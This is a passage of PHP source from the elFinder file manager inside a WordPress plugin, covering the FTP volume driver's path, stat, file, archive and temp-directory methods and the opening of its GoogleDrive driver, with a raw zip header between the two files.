                $stat['thash'] = $tstat['hash'];
                $stat['mime'] = $tstat['mime'];
                $stat['read'] = $tstat['read'];
                $stat['write'] = $tstat['write'];

                if (isset($tstat['ts'])) {
                    $stat['ts'] = $tstat['ts'];
                }
                if (isset($tstat['owner'])) {
                    $stat['owner'] = $tstat['owner'];
                }
                if (isset($tstat['group'])) {
                    $stat['group'] = $tstat['group'];
                }
                if (isset($tstat['perm'])) {
                    $stat['perm'] = $tstat['perm'];
                }
                if (isset($tstat['isowner'])) {
                    $stat['isowner'] = $tstat['isowner'];
                }
            } else {

                $stat['mime'] = 'symlink-broken';
                $stat['read'] = false;
                $stat['write'] = false;
                $stat['size'] = 0;

            }
            $this->cacheDirTarget = $cacheDirTarget;
            $stat = $this->updateCache($p, $stat);
            if (empty($stat['hidden'])) {
                if (!$hasDir && $stat['mime'] === 'directory') {
                    $hasDir = true;
                }
                $this->dirsCache[$path][] = $p;
            }
        }

        if (isset($this->sessionCache['subdirs'])) {
            $this->sessionCache['subdirs'][$path] = $hasDir;
        }
    }

    /**
     * Return ftp transfer mode for file
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function ftpMode($path)
    {
        return strpos($this->mimetype($path), 'text/') === 0 ? FTP_ASCII : FTP_BINARY;
    }

    /*********************** paths/urls *************************/

    /**
     * Return parent directory path
     *
     * @param  string $path file path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _dirname($path)
    {
        $parts = explode($this->separator, trim($path, $this->separator));
        array_pop($parts);
        return $this->separator . join($this->separator, $parts);
    }

    /**
     * Return file name
     *
     * @param  string $path file path
     *
     * @return string
     * @author Naoki Sawada
     **/
    protected function _basename($path)
    {
        $parts = explode($this->separator, trim($path, $this->separator));
        return array_pop($parts);
    }

    /**
     * Join dir name and file name and retur full path
     *
     * @param  string $dir
     * @param  string $name
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _joinPath($dir, $name)
    {
        return rtrim($dir, $this->separator) . $this->separator . $name;
    }

    /**
     * Return normalized path, this works the same as os.path.normpath() in Python
     *
     * @param  string $path path
     *
     * @return string
     * @author Troex Nevelin
     **/
    protected function _normpath($path)
    {
        if (empty($path)) {
            $path = '.';
        }
        // path must be start with /
        $path = preg_replace('|^\.\/?|', $this->separator, $path);
        $path = preg_replace('/^([^\/])/', "/$1", $path);

        if ($path[0] === $this->separator) {
            $initial_slashes = true;
        } else {
            $initial_slashes = false;
        }

        if (($initial_slashes)
            && (strpos($path, '//') === 0)
            && (strpos($path, '///') === false)) {
            $initial_slashes = 2;
        }

        $initial_slashes = (int)$initial_slashes;

        $comps = explode($this->separator, $path);
        $new_comps = array();
        foreach ($comps as $comp) {
            if (in_array($comp, array('', '.'))) {
                continue;
            }

            if (($comp != '..')
                || (!$initial_slashes && !$new_comps)
                || ($new_comps && (end($new_comps) == '..'))) {
                array_push($new_comps, $comp);
            } elseif ($new_comps) {
                array_pop($new_comps);
            }
        }
        $comps = $new_comps;
        $path = implode($this->separator, $comps);
        if ($initial_slashes) {
            $path = str_repeat($this->separator, $initial_slashes) . $path;
        }

        return $path ? $path : '.';
    }

    /**
     * Return file path related to root dir
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _relpath($path)
    {
        if ($path === $this->root) {
            return '';
        } else {
            if (strpos($path, $this->root) === 0) {
                return ltrim(substr($path, strlen($this->root)), $this->separator);
            } else {
                // for link
                return $path;
            }
        }
    }

    /**
     * Convert path related to root dir into real path
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _abspath($path)
    {
        if ($path === $this->separator) {
            return $this->root;
        } else {
            if ($path[0] === $this->separator) {
                // for link
                return $path;
            } else {
                return $this->_joinPath($this->root, $path);
            }
        }
    }

    /**
     * Return fake path started from root dir
     *
     * @param  string $path file path
     *
     * @return string
     * @author Dmitry (dio) Levashov
     **/
    protected function _path($path)
    {
        return $this->rootName . ($path == $this->root ? '' : $this->separator . $this->_relpath($path));
    }

    /**
     * Return true if $path is children of $parent
     *
     * @param  string $path   path to check
     * @param  string $parent parent path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _inpath($path, $parent)
    {
        return $path == $parent || strpos($path, rtrim($parent, $this->separator) . $this->separator) === 0;
    }

    /***************** file stat ********************/
    /**
     * Return stat for given path.
     * Stat contains following fields:
     * - (int)    size    file size in b. required
     * - (int)    ts      file modification time in unix time. required
     * - (string) mime    mimetype. required for folders, others - optionally
     * - (bool)   read    read permissions. required
     * - (bool)   write   write permissions. required
     * - (bool)   locked  is object locked. optionally
     * - (bool)   hidden  is object hidden. optionally
     * - (string) alias   for symlinks - link target path relative to root path. optionally
     * - (string) target  for symlinks - link target path. optionally
     * If file does not exists - returns empty array or false.
     *
     * @param  string $path file path
     *
     * @return array|false
     * @author Dmitry (dio) Levashov
     **/
    protected function _stat($path)
    {
        $outPath = $this->convEncOut($path);
        if (isset($this->cache[$outPath])) {
            return $this->convEncIn($this->cache[$outPath]);
        } else {
            $this->convEncIn();
        }
        if (!$this->MLSTsupprt) {
            if ($path === $this->root) {
                $res = array(
                    'name' => $this->root,
                    'mime' => 'directory',
                    'dirs' => -1
                );
                if ($this->needOnline && (($this->ARGS['cmd'] === 'open' && $this->ARGS['target'] === $this->encode($this->root)) || $this->isMyReload())) {
                    $check = array(
                        'ts' => true,
                        'dirs' => true,
                    );
                    $ts = 0;
                    foreach ($this->ftpRawList($path) as $str) {
                        $info = preg_split('/\s+/', $str, 9);
                        if ($info[8] === '.') {
                            $info[8] = 'root';
                            if ($stat = $this->parseRaw(join(' ', $info), $path)) {
                                unset($stat['name']);
                                $res = array_merge($res, $stat);
                                if ($res['ts']) {
                                    $ts = 0;
                                    unset($check['ts']);
                                }
                            }
                        }
                        if ($check && ($stat = $this->parseRaw($str, $path))) {
                            if (isset($stat['ts']) && !empty($stat['ts'])) {
                                $ts = max($ts, $stat['ts']);
                            }
                            if (isset($stat['dirs']) && $stat['mime'] === 'directory') {
                                $res['dirs'] = 1;
                                unset($stat['dirs']);
                            }
                            if (!$check) {
                                break;
                            }
                        }
                    }
                    if ($ts) {
                        $res['ts'] = $ts;
                    }
                    $this->cache[$outPath] = $res;
                }
                return $res;
            }

            $pPath = $this->_dirname($path);
            if ($this->_inPath($pPath, $this->root)) {
                $outPPpath = $this->convEncOut($pPath);
                if (!isset($this->dirsCache[$outPPpath])) {
                    $parentSubdirs = null;
                    if (isset($this->sessionCache['subdirs']) && isset($this->sessionCache['subdirs'][$outPPpath])) {
                        $parentSubdirs = $this->sessionCache['subdirs'][$outPPpath];
                    }
                    $this->cacheDir($outPPpath);
                    if ($parentSubdirs) {
                        $this->sessionCache['subdirs'][$outPPpath] = $parentSubdirs;
                    }
                }
            }

            $stat = $this->convEncIn(isset($this->cache[$outPath]) ? $this->cache[$outPath] : array());
            if (!$this->mounted) {
                // dispose incomplete cache made by calling `stat` by 'startPath' option
                $this->cache = array();
            }
            return $stat;
        }
        $raw = ftp_raw($this->connect, 'MLST ' . $path);
        if (is_array($raw) && count($raw) > 1 && substr(trim($raw[0]), 0, 1) == 2) {
            $parts = explode(';', trim($raw[1]));
            array_pop($parts);
            $parts = array_map('strtolower', $parts);
            $stat = array();
            $mode = '';
            foreach ($parts as $part) {

                list($key, $val) = explode('=', $part, 2);

                switch ($key) {
                    case 'type':
                        if (strpos($val, 'dir') !== false) {
                            $stat['mime'] = 'directory';
                        } else if (strpos($val, 'link') !== false) {
                            $stat['mime'] = 'symlink';
                            break(2);
                        } else {
                            $stat['mime'] = $this->mimetype($path);
                        }
                        break;

                    case 'size':
                        $stat['size'] = $val;
                        break;

                    case 'modify':
                        $ts = mktime(intval(substr($val, 8, 2)), intval(substr($val, 10, 2)), intval(substr($val, 12, 2)), intval(substr($val, 4, 2)), intval(substr($val, 6, 2)), substr($val, 0, 4));
                        $stat['ts'] = $ts;
                        break;

                    case 'unix.mode':
                        $mode = strval($val);
                        break;

                    case 'unix.uid':
                        $stat['owner'] = $val;
                        break;

                    case 'unix.gid':
                        $stat['group'] = $val;
                        break;

                    case 'perm':
                        $val = strtolower($val);
                        $stat['read'] = (int)preg_match('/e|l|r/', $val);
                        $stat['write'] = (int)preg_match('/w|m|c/', $val);
                        if (!preg_match('/f|d/', $val)) {
                            $stat['locked'] = 1;
                        }
                        break;
                }
            }

            if (empty($stat['mime'])) {
                return array();
            }

            // do not use MLST to get stat of symlink
            if ($stat['mime'] === 'symlink') {
                $this->MLSTsupprt = false;
                $res = $this->_stat($path);
                $this->MLSTsupprt = true;
                return $res;
            }

            if ($stat['mime'] === 'directory') {
                $stat['size'] = 0;
            }

            if ($mode) {
                $stat['perm'] = '';
                if ($mode[0] === '0') {
                    $mode = substr($mode, 1);
                }

                $perm = array();
                for ($i = 0; $i <= 2; $i++) {
                    $perm[$i] = array(false, false, false);
                    $n = isset($mode[$i]) ? $mode[$i] : 0;

                    if ($n - 4 >= 0) {
                        $perm[$i][0] = true;
                        $n = $n - 4;
                        $stat['perm'] .= 'r';
                    } else {
                        $stat['perm'] .= '-';
                    }

                    if ($n - 2 >= 0) {
                        $perm[$i][1] = true;
                        $n = $n - 2;
                        $stat['perm'] .= 'w';
                    } else {
                        $stat['perm'] .= '-';
                    }

                    if ($n - 1 == 0) {
                        $perm[$i][2] = true;
                        $stat['perm'] .= 'x';
                    } else {
                        $stat['perm'] .= '-';
                    }
                }

                $stat['perm'] = trim($stat['perm']);
                //
                // if not exists owner in LS ftp ==>                    isowner = true
                // if is defined as option : 'owner' => true            isowner = true
                //
                // if exist owner in LS ftp  and 'owner' => False        isowner =   result of    owner(file) == user(logged with ftp)

                $owner_computed = isset($stat['owner']) ? ($this->options['owner'] ? true : ($stat['owner'] == $this->options['user'])) : true;

                $read = ($owner_computed && $perm[0][0]) || $perm[1][0] || $perm[2][0];

                $stat['read'] = $stat['mime'] == 'directory' ? $read && (($owner_computed && $perm[0][2]) || $perm[1][2] || $perm[2][2]) : $read;
                $stat['write'] = ($owner_computed && $perm[0][1]) || $perm[1][1] || $perm[2][1];

                if ($this->options['statOwner']) {
                    $stat['isowner'] = $owner_computed;
                } else {
                    unset($stat['owner'], $stat['group'], $stat['perm']);
                }
            }

            return $stat;

        }

        return array();
    }

    /**
     * Return true if path is dir and has at least one childs directory
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _subdirs($path)
    {

        foreach ($this->ftpRawList($path) as $str) {
            $info = preg_split('/\s+/', $str, 9);
            if (!isset($this->ftpOsUnix)) {
                $this->ftpOsUnix = !preg_match('/\d/', substr($info[0], 0, 1));
            }
            if (!$this->ftpOsUnix) {
                $info = $this->normalizeRawWindows($str);
            }
            $name = isset($info[8]) ? trim($info[8]) : '';
            if ($name && $name !== '.' && $name !== '..' && substr(strtolower($info[0]), 0, 1) === 'd') {
                return true;
            }
        }
        return false;
    }

    /**
     * Return object width and height
     * Ususaly used for images, but can be realize for video etc...
     *
     * @param  string $path file path
     * @param  string $mime file mime type
     *
     * @return string|false
     * @throws ImagickException
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _dimensions($path, $mime)
    {
        $ret = false;
        if ($imgsize = $this->getImageSize($path, $mime)) {
            $ret = array('dim' => $imgsize['dimensions']);
            if (!empty($imgsize['url'])) {
                $ret['url'] = $imgsize['url'];
            }
        }
        return $ret;
    }

    /******************** file/dir content *********************/

    /**
     * Return files list in directory.
     *
     * @param  string $path dir path
     *
     * @return array
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    protected function _scandir($path)
    {
        $files = array();

        foreach ($this->ftpRawList($path) as $str) {
            if (($stat = $this->parseRaw($str, $path, true))) {
                $files[] = $this->_joinPath($path, $stat['name']);
            }
        }

        return $files;
    }

    /**
     * Open file and return file pointer
     *
     * @param  string $path file path
     * @param string  $mode
     *
     * @return false|resource
     * @throws elFinderAbortException
     * @internal param bool $write open file for writing
     * @author   Dmitry (dio) Levashov
     */
    protected function _fopen($path, $mode = 'rb')
    {
        // try ftp stream wrapper
        if ($this->options['mode'] === 'passive' && ini_get('allow_url_fopen')) {
            $url = ($this->isFTPS ? 'ftps' : 'ftp') . '://' . $this->options['user'] . ':' . $this->options['pass'] . '@' . $this->options['host'] . ':' . $this->options['port'] . $path;
            if (strtolower($mode[0]) === 'w') {
                $context = stream_context_create(array('ftp' => array('overwrite' => true)));
                $fp = fopen($url, $mode, false, $context);
            } else {
                $fp = fopen($url, $mode);
            }
            if ($fp) {
                return $fp;
            }
        }

        if ($this->tmp) {
            $local = $this->getTempFile($path);
            $fp = fopen($local, 'wb');
            $ret = ftp_nb_fget($this->connect, $fp, $path, FTP_BINARY);
            while ($ret === FTP_MOREDATA) {
                elFinder::extendTimeLimit();
                $ret = ftp_nb_continue($this->connect);
            }
            if ($ret === FTP_FINISHED) {
                fclose($fp);
                $fp = fopen($local, $mode);
                return $fp;
            }
            fclose($fp);
            is_file($local) && unlink($local);
        }

        return false;
    }

    /**
     * Close opened file
     *
     * @param  resource $fp file pointer
     * @param string    $path
     *
     * @return void
     * @author Dmitry (dio) Levashov
     */
    protected function _fclose($fp, $path = '')
    {
        is_resource($fp) && fclose($fp);
        if ($path) {
            unlink($this->getTempFile($path));
        }
    }

    /********************  file/dir manipulations *************************/

    /**
     * Create dir and return created dir path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new directory name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkdir($path, $name)
    {
        $path = $this->_joinPath($path, $name);
        if (ftp_mkdir($this->connect, $path) === false) {
            return false;
        }

        $this->options['dirMode'] && ftp_chmod($this->connect, $this->options['dirMode'], $path);
        return $path;
    }

    /**
     * Create file and return it's path or false on failed
     *
     * @param  string $path parent dir path
     * @param string  $name new file name
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _mkfile($path, $name)
    {
        if ($this->tmp) {
            $path = $this->_joinPath($path, $name);
            $local = $this->getTempFile();
            $res = touch($local) && ftp_put($this->connect, $path, $local, FTP_ASCII);
            unlink($local);
            return $res ? $path : false;
        }
        return false;
    }

    /**
     * Create symlink. FTP driver does not support symlinks.
     *
     * @param  string $target link target
     * @param  string $path   symlink path
     * @param string  $name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     */
    protected function _symlink($target, $path, $name)
    {
        return false;
    }

    /**
     * Copy file into another file
     *
     * @param  string $source    source file path
     * @param  string $targetDir target directory path
     * @param  string $name      new file name
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _copy($source, $targetDir, $name)
    {
        $res = false;

        if ($this->tmp) {
            $local = $this->getTempFile();
            $target = $this->_joinPath($targetDir, $name);

            if (ftp_get($this->connect, $local, $source, FTP_BINARY)
                && ftp_put($this->connect, $target, $local, $this->ftpMode($target))) {
                $res = $target;
            }
            unlink($local);
        }

        return $res;
    }

    /**
     * Move file into another parent dir.
     * Return new file path or false.
     *
     * @param  string $source source file path
     * @param         $targetDir
     * @param  string $name   file name
     *
     * @return bool|string
     * @internal param string $target target dir path
     * @author   Dmitry (dio) Levashov
     */
    protected function _move($source, $targetDir, $name)
    {
        $target = $this->_joinPath($targetDir, $name);
        return ftp_rename($this->connect, $source, $target) ? $target : false;
    }

    /**
     * Remove file
     *
     * @param  string $path file path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _unlink($path)
    {
        return ftp_delete($this->connect, $path);
    }

    /**
     * Remove dir
     *
     * @param  string $path dir path
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _rmdir($path)
    {
        return ftp_rmdir($this->connect, $path);
    }

    /**
     * Create new file and write into it from file pointer.
     * Return new file path or false on error.
     *
     * @param  resource $fp   file pointer
     * @param  string   $dir  target dir path
     * @param  string   $name file name
     * @param  array    $stat file stat (required by some virtual fs)
     *
     * @return bool|string
     * @author Dmitry (dio) Levashov
     **/
    protected function _save($fp, $dir, $name, $stat)
    {
        $path = $this->_joinPath($dir, $name);
        return ftp_fput($this->connect, $path, $fp, $this->ftpMode($path))
            ? $path
            : false;
    }

    /**
     * Get file contents
     *
     * @param  string $path file path
     *
     * @return string|false
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov
     */
    protected function _getContents($path)
    {
        $contents = '';
        if (($fp = $this->_fopen($path))) {
            while (!feof($fp)) {
                $contents .= fread($fp, 8192);
            }
            $this->_fclose($fp, $path);
            return $contents;
        }
        return false;
    }

    /**
     * Write a string to a file
     *
     * @param  string $path    file path
     * @param  string $content new file content
     *
     * @return bool
     * @author Dmitry (dio) Levashov
     **/
    protected function _filePutContents($path, $content)
    {
        $res = false;

        if ($this->tmp) {
            $local = $this->getTempFile();

            if (file_put_contents($local, $content, LOCK_EX) !== false
                && ($fp = fopen($local, 'rb'))) {
                $file = $this->stat($this->convEncOut($path, false));
                if (!empty($file['thash'])) {
                    $path = $this->decode($file['thash']);
                }
                clearstatcache();
                $res = ftp_fput($this->connect, $path, $fp, $this->ftpMode($path));
                fclose($fp);
            }
            file_exists($local) && unlink($local);
        }

        return $res;
    }

    /**
     * Detect available archivers
     *
     * @return void
     * @throws elFinderAbortException
     */
    protected function _checkArchivers()
    {
        $this->archivers = $this->getArchivers();
        return;
    }

    /**
     * chmod availability
     *
     * @param string $path
     * @param string $mode
     *
     * @return bool
     */
    protected function _chmod($path, $mode)
    {
        $modeOct = is_string($mode) ? octdec($mode) : octdec(sprintf("%04o", $mode));
        return ftp_chmod($this->connect, $modeOct, $path);
    }

    /**
     * Extract files from archive
     *
     * @param  string $path archive path
     * @param  array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return true
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _extract($path, $arc)
    {
        $dir = $this->tempDir();
        if (!$dir) {
            return false;
        }

        $basename = $this->_basename($path);
        $localPath = $dir . DIRECTORY_SEPARATOR . $basename;

        if (!ftp_get($this->connect, $localPath, $path, FTP_BINARY)) {
            //cleanup
            $this->rmdirRecursive($dir);
            return false;
        }

        $this->unpackArchive($localPath, $arc);

        $this->archiveSize = 0;

        // find symlinks and check extracted items
        $checkRes = $this->checkExtractItems($dir);
        if ($checkRes['symlinks']) {
            $this->rmdirRecursive($dir);
            return $this->setError(array_merge($this->error, array(elFinder::ERROR_ARC_SYMLINKS)));
        }
        $this->archiveSize = $checkRes['totalSize'];
        if ($checkRes['rmNames']) {
            foreach ($checkRes['rmNames'] as $name) {
                $this->addError(elFinder::ERROR_SAVE, $name);
            }
        }

        $filesToProcess = self::listFilesInDirectory($dir, true);

        // no files - extract error ?
        if (empty($filesToProcess)) {
            $this->rmdirRecursive($dir);
            return false;
        }

        // check max files size
        if ($this->options['maxArcFilesSize'] > 0 && $this->options['maxArcFilesSize'] < $this->archiveSize) {
            $this->rmdirRecursive($dir);
            return $this->setError(elFinder::ERROR_ARC_MAXSIZE);
        }

        $extractTo = $this->extractToNewdir; // 'auto', ture or false

        // archive contains one item - extract in archive dir
        $name = '';
        $src = $dir . DIRECTORY_SEPARATOR . $filesToProcess[0];
        if (($extractTo === 'auto' || !$extractTo) && count($filesToProcess) === 1 && is_file($src)) {
            $name = $filesToProcess[0];
        } else if ($extractTo === 'auto' || $extractTo) {
            // for several files - create new directory
            // create unique name for directory
            $src = $dir;
            $splits = elFinder::splitFileExtention(basename($path));
            $name = $splits[0];
            $test = $this->_joinPath(dirname($path), $name);
            if ($this->stat($test)) {
                $name = $this->uniqueName(dirname($path), $name, '-', false);
            }
        }

        if ($name !== '' && is_file($src)) {
            $result = $this->_joinPath(dirname($path), $name);

            if (!ftp_put($this->connect, $result, $src, FTP_BINARY)) {
                $this->rmdirRecursive($dir);
                return false;
            }
        } else {
            $dstDir = $this->_dirname($path);
            $result = array();
            if (is_dir($src) && $name) {
                $target = $this->_joinPath($dstDir, $name);
                $_stat = $this->_stat($target);
                if ($_stat) {
                    if (!$this->options['copyJoin']) {
                        if ($_stat['mime'] === 'directory') {
                            $this->delTree($target);
                        } else {
                            $this->_unlink($target);
                        }
                        $_stat = false;
                    } else {
                        $dstDir = $target;
                    }
                }
                if (!$_stat && (!$dstDir = $this->_mkdir($dstDir, $name))) {
                    $this->rmdirRecursive($dir);
                    return false;
                }
                $result[] = $dstDir;
            }
            foreach ($filesToProcess as $name) {
                $name = rtrim($name, DIRECTORY_SEPARATOR);
                $src = $dir . DIRECTORY_SEPARATOR . $name;
                if (is_dir($src)) {
                    $p = dirname($name);
                    if ($p === '.') {
                        $p = '';
                    }
                    $name = basename($name);
                    $target = $this->_joinPath($this->_joinPath($dstDir, $p), $name);
                    $_stat = $this->_stat($target);
                    if ($_stat) {
                        if (!$this->options['copyJoin']) {
                            if ($_stat['mime'] === 'directory') {
                                $this->delTree($target);
                            } else {
                                $this->_unlink($target);
                            }
                            $_stat = false;
                        }
                    }
                    if (!$_stat && (!$target = $this->_mkdir($this->_joinPath($dstDir, $p), $name))) {
                        $this->rmdirRecursive($dir);
                        return false;
                    }
                } else {
                    $target = $this->_joinPath($dstDir, $name);
                    if (!ftp_put($this->connect, $target, $src, FTP_BINARY)) {
                        $this->rmdirRecursive($dir);
                        return false;
                    }
                }
                $result[] = $target;
            }
            if (!$result) {
                $this->rmdirRecursive($dir);
                return false;
            }
        }

        is_dir($dir) && $this->rmdirRecursive($dir);

        $this->clearcache();
        return $result ? $result : false;
    }

    /**
     * Create archive and return its path
     *
     * @param  string $dir   target dir
     * @param  array  $files files names list
     * @param  string $name  archive name
     * @param  array  $arc   archiver options
     *
     * @return string|bool
     * @throws elFinderAbortException
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     */
    protected function _archive($dir, $files, $name, $arc)
    {
        // get current directory
        $cwd = getcwd();

        $tmpDir = $this->tempDir();
        if (!$tmpDir) {
            return false;
        }

        //download data
        if (!$this->ftp_download_files($dir, $files, $tmpDir)) {
            //cleanup
            $this->rmdirRecursive($tmpDir);
            return false;
        }

        $remoteArchiveFile = false;
        if ($path = $this->makeArchive($tmpDir, $files, $name, $arc)) {
            $remoteArchiveFile = $this->_joinPath($dir, $name);
            if (!ftp_put($this->connect, $remoteArchiveFile, $path, FTP_BINARY)) {
                $remoteArchiveFile = false;
            }
        }

        //cleanup
        if (!$this->rmdirRecursive($tmpDir)) {
            return false;
        }

        return $remoteArchiveFile;
    }

    /**
     * Create writable temporary directory and return path to it.
     *
     * @return string path to the new temporary directory or false in case of error.
     */
    private function tempDir()
    {
        $tempPath = tempnam($this->tmp, 'elFinder');
        if (!$tempPath) {
            $this->setError(elFinder::ERROR_CREATING_TEMP_DIR, $this->tmp);
            return false;
        }
        $success = unlink($tempPath);
        if (!$success) {
            $this->setError(elFinder::ERROR_CREATING_TEMP_DIR, $this->tmp);
            return false;
        }
        $success = mkdir($tempPath, 0700, true);
        if (!$success) {
            $this->setError(elFinder::ERROR_CREATING_TEMP_DIR, $this->tmp);
            return false;
        }
        return $tempPath;
    }

    /**
     * Gets an array of absolute remote FTP paths of files and
     * folders in $remote_directory omitting symbolic links.
     *
     * @param $remote_directory string remote FTP path to scan for file and folders recursively
     * @param $targets          array  Array of target item. `null` is to get all of items
     *
     * @return array of elements each of which is an array of two elements:
     * <ul>
     * <li>$item['path'] - absolute remote FTP path</li>
     * <li>$item['type'] - either 'f' for file or 'd' for directory</li>
     * </ul>
     */
    protected function ftp_scan_dir($remote_directory, $targets = null)
    {
        $buff = $this->ftpRawList($remote_directory);
        $items = array();
        if ($targets && is_array($targets)) {
            $targets = array_flip($targets);
        } else {
            $targets = false;
        }
        foreach ($buff as $str) {
            $info = preg_split("/\s+/", $str, 9);
            if (!isset($this->ftpOsUnix)) {
                $this->ftpOsUnix = !preg_match('/\d/', substr($info[0], 0, 1));
            }
            if (!$this->ftpOsUnix) {
                $info = $this->normalizeRawWindows($str);
            }
            $type = substr($info[0], 0, 1);
            $name = trim($info[8]);
            if ($name !== '.' && $name !== '..' && (!$targets || isset($targets[$name]))) {
                switch ($type) {
                    case 'l' : //omit symbolic links
                    case 'd' :
                        $remote_file_path = $this->_joinPath($remote_directory, $name);
                        $item = array();
                        $item['path'] = $remote_file_path;
                        $item['type'] = 'd'; // normal file
                        $items[] = $item;
                        $items = array_merge($items, $this->ftp_scan_dir($remote_file_path));
                        break;
                    default:
                        $remote_file_path = $this->_joinPath($remote_directory, $name);
                        $item = array();
                        $item['path'] = $remote_file_path;
                        $item['type'] = 'f'; // normal file
                        $items[] = $item;
                }
            }
        }
        return $items;
    }

    /**
     * Downloads specified files from remote directory
     * if there is a directory among files it is downloaded recursively (omitting symbolic links).
     *
     * @param       $remote_directory     string remote FTP path to a source directory to download from.
     * @param array $files                list of files to download from remote directory.
     * @param       $dest_local_directory string destination folder to store downloaded files.
     *
     * @return bool true on success and false on failure.
     */
    private function ftp_download_files($remote_directory, array $files, $dest_local_directory)
    {
        $contents = $this->ftp_scan_dir($remote_directory, $files);
        if (!isset($contents)) {
            $this->setError(elFinder::ERROR_FTP_DOWNLOAD_FILE, $remote_directory);
            return false;
        }
        $remoteDirLen = strlen($remote_directory);
        foreach ($contents as $item) {
            $relative_path = substr($item['path'], $remoteDirLen);
            $local_path = $dest_local_directory . DIRECTORY_SEPARATOR . $relative_path;
            switch ($item['type']) {
                case 'd':
                    $success = mkdir($local_path);
                    break;
                case 'f':
                    $success = ftp_get($this->connect, $local_path, $item['path'], FTP_BINARY);
                    break;
                default:
                    $success = true;
            }
            if (!$success) {
                $this->setError(elFinder::ERROR_FTP_DOWNLOAD_FILE, $remote_directory);
                return false;
            }
        }
        return true;
    }

    /**
     * Delete local directory recursively.
     *
     * @param $dirPath string to directory to be erased.
     *
     * @return bool true on success and false on failure.
     * @throws Exception
     */
    private function deleteDir($dirPath)
    {
        if (!is_dir($dirPath)) {
            $success = unlink($dirPath);
        } else {
            $success = true;
            foreach (array_reverse(elFinderVolumeFTP::listFilesInDirectory($dirPath, false)) as $path) {
                $path = $dirPath . DIRECTORY_SEPARATOR . $path;
                if (is_link($path)) {
                    unlink($path);
                } else if (is_dir($path)) {
                    $success = rmdir($path);
                } else {
                    $success = unlink($path);
                }
                if (!$success) {
                    break;
                }
            }
            if ($success) {
                $success = rmdir($dirPath);
            }
        }
        if (!$success) {
            $this->setError(elFinder::ERROR_RM, $dirPath);
            return false;
        }
        return $success;
    }

    /**
     * Returns array of strings containing all files and folders in the specified local directory.
     *
     * @param        $dir
     * @param        $omitSymlinks
     * @param string $prefix
     *
     * @return array array of files and folders names relative to the $path
     * or an empty array if the directory $path is empty,
     * <br />
     * false if $path is not a directory or does not exist.
     * @throws Exception
     * @internal param string $path path to directory to scan.
     */
    private static function listFilesInDirectory($dir, $omitSymlinks, $prefix = '')
    {
        if (!is_dir($dir)) {
            return false;
        }
        $excludes = array(".", "..");
        $result = array();
        $files = self::localScandir($dir);
        if (!$files) {
            return array();
        }
        foreach ($files as $file) {
            if (!in_array($file, $excludes)) {
                $path = $dir . DIRECTORY_SEPARATOR . $file;
                if (is_link($path)) {
                    if ($omitSymlinks) {
                        continue;
                    } else {
                        $result[] = $prefix . $file;
                    }
                } else if (is_dir($path)) {
                    $result[] = $prefix . $file . DIRECTORY_SEPARATOR;
                    $subs = elFinderVolumeFTP::listFilesInDirectory($path, $omitSymlinks, $prefix . $file . DIRECTORY_SEPARATOR);
                    if ($subs) {
                        $result = array_merge($result, $subs);
                    }

                } else {
                    $result[] = $prefix . $file;
                }
            }
        }
        return $result;
    }

} // END class
PK���[a�1&QQPwp-content/plugins/fileorganizer/manager/php/elFinderVolumeGoogleDrive.class.phpnu�[���<?php

/**
 * Simple elFinder driver for GoogleDrive
 * google-api-php-client-2.x or above.
 *
 * @author Dmitry (dio) Levashov
 * @author Cem (discofever)
 **/
class elFinderVolumeGoogleDrive extends elFinderVolumeDriver
{
    /**
     * Driver id
     * Must be started from letter and contains [a-z0-9]
     * Used as part of volume id.
     *
     * @var string
     **/
    protected $driverId = 'gd';

    /**
     * Google API client object.
     *
     * @var object
     **/
    protected $client = null;

    /**
     * GoogleDrive service object.
     *
     * @var object
     **/
    protected $service = null;

    /**
     * Cache of parents of each directories.
     *
     * @var array
     */
    protected $parents = [];

    /**
     * Cache of chiled directories of each directories.
     *
     * @var array
     */
    protected $directories = null;

    /**
     * Cache of itemID => name of each items.
     *
     * @var array
     */
    protected $names = [];

    /**
     * MIME tyoe of directory.
     *
     * @var string
     */
    const DIRMIME = 'application/vnd.google-apps.folder';

    /**
     * Fetch fields for list.
     *
     * @var string
     */
    const FETCHFIELDS_LIST = 'files(id,name,mimeType,modifiedTime,parents,permissions,size,imageMediaMetadata(height,width),thumbnailLink,webContentLink,webViewLink),nextPageToken';

    /**
     * Fetch fields for get.
     *
     * @var string
     */
    const FETCHFIELDS_GET = 'id,name,mimeType,modifiedTime,parents,permissions,size,imageMediaMetadata(height,width),thumbnailLink,webContentLink,webViewLink';

    /**
     * Directory for tmp files
     * If not set driver will try to use tmbDir as tmpDir.
     *
     * @var string
     **/
    protected $tmp = '';

    /**
     * Net mount key.
     *
     * @var string
     **/
    public $netMountKey = '';

    /**
     * Current token expires
     *
     * @var integer
     **/
    private $expires;

    /**
     * Constructor
     * Extend options with required fields.
     *
     * @author Dmitry (dio) Levashov
     * @author Cem (DiscoFever)
     **/
    public function __construct()
    {
        $opts = [
            'client_id' => '',
            'client_secret' => '',
            'access_token' => [],
            'refresh_token' => '',
            'serviceAccountConfigFile' => '',
            'root' => 'My Drive',
            'gdAlias' => '%s@GDrive',
            'googleApiClient' => '',
            'path' => '/',
            'tmbPath' => '',
